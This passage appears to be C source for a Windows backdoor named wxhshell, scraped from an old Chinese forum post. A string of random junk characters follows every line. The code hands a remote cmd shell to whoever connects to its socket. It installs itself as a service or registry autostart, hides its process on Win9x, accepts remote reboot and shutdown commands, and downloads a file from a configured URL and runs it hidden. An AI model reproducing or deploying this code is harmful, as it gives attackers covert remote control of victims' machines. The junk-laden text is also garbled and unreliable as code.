    switch(cmd[0]) { NpYzN|W:  
  [ f`V_1d3  
  // 帮助 vh^,8pPy  
  case '?': { VBI~U?0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); b$'}IWNV  
    break; a(`@u&]WZ  
  } J;7O`5J  
  // 安装 mGqT_   
  case 'i': { q/yL={H?  
    if(Install()) Sf*b{6lcC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gd%E337d  
    else nc.X+dx:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *f$wmZ5A  
    break; qU,u(El  
    } 3.s.&^  
  // 卸载 ] 'ybu&22  
  case 'r': { [D%5Fh\0  
    if(Uninstall()) )F) (Hg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yPza  
    else o@KK/f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QGQ> shIeZ  
    break; IXef}%1N?  
    } [.NG~ cpb  
  // 显示 wxhshell 所在路径 )R'~{;z }  
  case 'p': { ]J7.d$7T  
    char svExeFile[MAX_PATH]; V}kQXz"9  
    strcpy(svExeFile,"\n\r"); Ljjuf=]  
      strcat(svExeFile,ExeFile); BSB;0OM  
        send(wsh,svExeFile,strlen(svExeFile),0); G\ht)7SGgf  
    break; ~1v5H]T{  
    } K=82fF(-  
  // 重启 Sq,x57-  
  case 'b': { Cl5l+I\1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &I$MV5)u  
    if(Boot(REBOOT)) Q4,!N(>D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /2e&fxxD  
    else { lUd;u*A  
    closesocket(wsh); 9vZD?6D,n  
    ExitThread(0); jRP9e  
    } -r5JP[0kP  
    break; Xn 1V1sr  
    } Q5H! ^RQm  
  // 关机  iFy_ D  
  case 'd': { V>&WZY  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); d}t7bgk'j  
    if(Boot(SHUTDOWN)) k*3F7']8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~SRK}5E  
    else { 09SLQVo  
    closesocket(wsh); ``Wf%~  
    ExitThread(0); |8m;}&r$  
    } (/r l\I  
    break; lU[" ZFP  
    } O+^l>+ZGj?  
  // 获取shell Gd8FXk,.!  
  case 's': { RHc-kggk!  
    CmdShell(wsh); V94eUmx>?+  
    closesocket(wsh); A+&^As2  
    ExitThread(0); 9=J+5V^qD<  
    break; eZMDtB  
  } ;5bzXW#U  
  // 退出 $ &Ntdn  
  case 'x': { fvDt_g9oI  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); pp#xN/V#a  
    CloseIt(wsh); ~<?+(V^D  
    break; vO#=]J8`  
    } D!- 78h  
  // 离开 dC7YVs_,#  
  case 'q': { $-}a<UFE;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .m]"lH*  
    closesocket(wsh); %&RF;qa2xu  
    WSACleanup(); <B?@,S>  
    exit(1); -<[MM2Y  
    break; e bSG|F  
        }  TM1isZ  
  } M6 W {mek  
  } \L"Vx9xT  
+$-@8,F>  
  // 提示信息 o& GS;{Rs  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G' 5p/:  
} gxIGL-1M  
  } :4f>S) m  
GEdWpYKS-`  
  return; "+g9}g  
} G>/Gw90E  
9Q<8DMX^  
// shell模块句柄 WPmH4L>T  
int CmdShell(SOCKET sock) `m.).Hda  
{ =o@CCUKpj  
STARTUPINFO si; 'edd6yTd  
ZeroMemory(&si,sizeof(si)); RpAqnDX)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  jIMT&5k  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; K/,y"DUN&  
PROCESS_INFORMATION ProcessInfo; s\k4<d5  
char cmdline[]="cmd"; H6Mqy}4W  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); E,S[3+  
  return 0; 6V"|  
} 3++}4%w  
\DG 6  
// 自身启动模式 6QwVgEnSf  
int StartFromService(void) =q1=.VTn  
{ OR&'  
typedef struct G,#]`W@qhK  
{ <QlpIgr  
  DWORD ExitStatus; }9k/Y/.  
  DWORD PebBaseAddress; 4&}V3"lg  
  DWORD AffinityMask; H]6i1j  
  DWORD BasePriority; 2qw-:  
  ULONG UniqueProcessId; Tq\S-K}4!  
  ULONG InheritedFromUniqueProcessId; Fgf5OHX  
}   PROCESS_BASIC_INFORMATION; 9w^lRbn  
3C,G~)= x  
PROCNTQSIP NtQueryInformationProcess; #Sxk[[KwH*  
cjf 8N:4N0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; i'w8Li  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .^aakM  
MM}lW-q;  
  HANDLE             hProcess; *&f^R}O  
  PROCESS_BASIC_INFORMATION pbi; t<)Cbple\  
lEcZ/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3@qy}Nm  
  if(NULL == hInst ) return 0; S'Hb5C2u  
Gb=pQ (n4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); KT3W>/#E  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); gRnn}LL^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,g.*Mx`-  
 xJphG  
  if (!NtQueryInformationProcess) return 0; k$u\\`i]oC  
a'T8U1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `&\jOve   
  if(!hProcess) return 0; WR&>AOWAD  
'jw?XtG  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; rBOxI  
#GDnV/0)  
  CloseHandle(hProcess); m#}41<  
9O8na 'w  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @/MI Oxg[  
if(hProcess==NULL) return 0; /6=IL  
UZ5O%SF  
HMODULE hMod; skd3E4  
char procName[255]; Q[j'FtP%  
unsigned long cbNeeded; e -!6m #0  
iKJ-$x_5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); kLsp0% 2  
rq>}] U  
  CloseHandle(hProcess); }ZQ)]Mr  
R`[jkJrc  
if(strstr(procName,"services")) return 1; // 以服务启动 dRdI('  
bW]7$?acv  
  return 0; // 注册表启动 HE;}B!>  
} iyA=d{S;V  
~XzT~WxW  
// 主模块 ;PS V3Zh  
int StartWxhshell(LPSTR lpCmdLine) v qt#JdPp9  
{ 'n:|D7t  
  SOCKET wsl; Vu0d\l^$  
BOOL val=TRUE; zBQV2.@  
  int port=0; wMW."gM|  
  struct sockaddr_in door; q9e(YX>  
&d%\&fCm(  
  if(wscfg.ws_autoins) Install(); C+0MzfLgf  
KKBrw+)AJ  
port=atoi(lpCmdLine); B(pxyv)  
f`$F^=  
if(port<=0) port=wscfg.ws_port; ,4Q1[K35B  
h23"<  
  WSADATA data; TpAE9S  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; fH@P&SX  
ty"|yA  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   r}**^"mFy  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Qe[ejj1o:  
  door.sin_family = AF_INET; &RJ*DAmL  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Fb!Ew`;QT  
  door.sin_port = htons(port); kB)u@`</mV  
R@X65o  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { V< Ib#rd'  
closesocket(wsl); 1fK]A*{p  
return 1; 43VBx<"  
} NJNS8\4  
_%@dlT?  
  if(listen(wsl,2) == INVALID_SOCKET) { _VUG!?_D$5  
closesocket(wsl); ){nOM$W  
return 1; ^xyU *A}D  
} afw`Heaa2(  
  Wxhshell(wsl); mn].8 F  
  WSACleanup(); -wsoJh  
7C&J88|\  
return 0; o7r7HmA@  
%`_Rl>@K=  
} khc1<BBsT  
n5DS  
// 以NT服务方式启动 fN_qJm#:$y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) V&h{a8xa$  
{ E/3i _R  
DWORD   status = 0; _qxBjB4t"a  
  DWORD   specificError = 0xfffffff; S8j!?$`  
33=lR-N#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; EV'i/*v}\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; w;{=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; S4_C8  
  serviceStatus.dwWin32ExitCode     = 0; gkM Q=;Nn  
  serviceStatus.dwServiceSpecificExitCode = 0; $} @gR] Z  
  serviceStatus.dwCheckPoint       = 0; \{a!Z&df  
  serviceStatus.dwWaitHint       = 0; 6!`GUU  
O#do\:(b  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [  *~2Ts  
  if (hServiceStatusHandle==0) return; 45,):U5  
sTxgU !_  
status = GetLastError(); qs%UJ0tR  
  if (status!=NO_ERROR) :#VdFMC<  
{ >T#" Im-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !X[P)/?b0+  
    serviceStatus.dwCheckPoint       = 0; ,Y4>$:#n/  
    serviceStatus.dwWaitHint       = 0; UhKd o  
    serviceStatus.dwWin32ExitCode     = status; d=p=eUd2  
    serviceStatus.dwServiceSpecificExitCode = specificError; q'Nafa&a)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); E !9(6G4  
    return; )H>?K0I  
  } Kqz+:E8D  
@<jm+f"MP  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !(F?Np Am  
  serviceStatus.dwCheckPoint       = 0; .6LlkM6[g  
  serviceStatus.dwWaitHint       = 0; _-T^YeQ/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); bzXeG;c<7  
} `h'7X(  
:4r{t?ytXw  
// 处理NT服务事件,比如:启动、停止 dBkM~"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) a&Z,~Vp  
{ ]6 HR  
switch(fdwControl) p9E/#U8A_  
{ r;9 V7C  
case SERVICE_CONTROL_STOP: {4$aA*  
  serviceStatus.dwWin32ExitCode = 0; DDq?4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; i-}T t<^  
  serviceStatus.dwCheckPoint   = 0; A"O\u=!  
  serviceStatus.dwWaitHint     = 0; K))P 2ss  
  { mKqXB\<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^;9<7 h[l  
  } %L|xmx!c  
  return; 6)PnzeYW  
case SERVICE_CONTROL_PAUSE: R/xT.EQ(N  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; js9^~:Tw  
  break; PfsUe,*  
case SERVICE_CONTROL_CONTINUE: @6 a'p  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >WA'/Sl<A<  
  break; m1e Sn |)7  
case SERVICE_CONTROL_INTERROGATE: )<f4F!?,A  
  break; gN2oUbf8  
}; @uz(h'~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s f.z(o  
} lNsdbyV'  
Qr_0 L  
// 标准应用程序主函数 Cw"[$E'J  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) I)kc[/^j$  
{ =A*a9c2  
N^M6*,F,J  
// 获取操作系统版本 1% C EUE  
OsIsNt=GetOsVer(); {r~=mQ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?t<g|H/|6  
Na4O( d`  
  // 从命令行安装 }H<Z`3_U%  
  if(strpbrk(lpCmdLine,"iI")) Install(); '1rGsfp6In  
N4z[=b>  
  // 下载执行文件 Peo-t*-06  
if(wscfg.ws_downexe) { L]%!YP\<T  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ORM3o ucP  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5UJ ?1"J  
} I4|"Ztw  
}Q*J!OH  
if(!OsIsNt) {  LJ;&02w@  
// 如果时win9x,隐藏进程并且设置为注册表启动 tZv^uuEp3  
HideProc(); TNckyP75u  
StartWxhshell(lpCmdLine); OFBEJacy  
} ~;z] _`_Va  
else "TP~TjXfq  
  if(StartFromService()) Fe %Vp/  
  // 以服务方式启动 Io"3wL)2  
  StartServiceCtrlDispatcher(DispatchTable); d >NO}MR  
else "iGQ1#6|d  
  // 普通方式启动 sv&^sARN  
  StartWxhshell(lpCmdLine); y@,PTF  
@lX%Fix9  
return 0; #jzF6j%G  
}
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只看该作者 1 发表于: 2006-10-10
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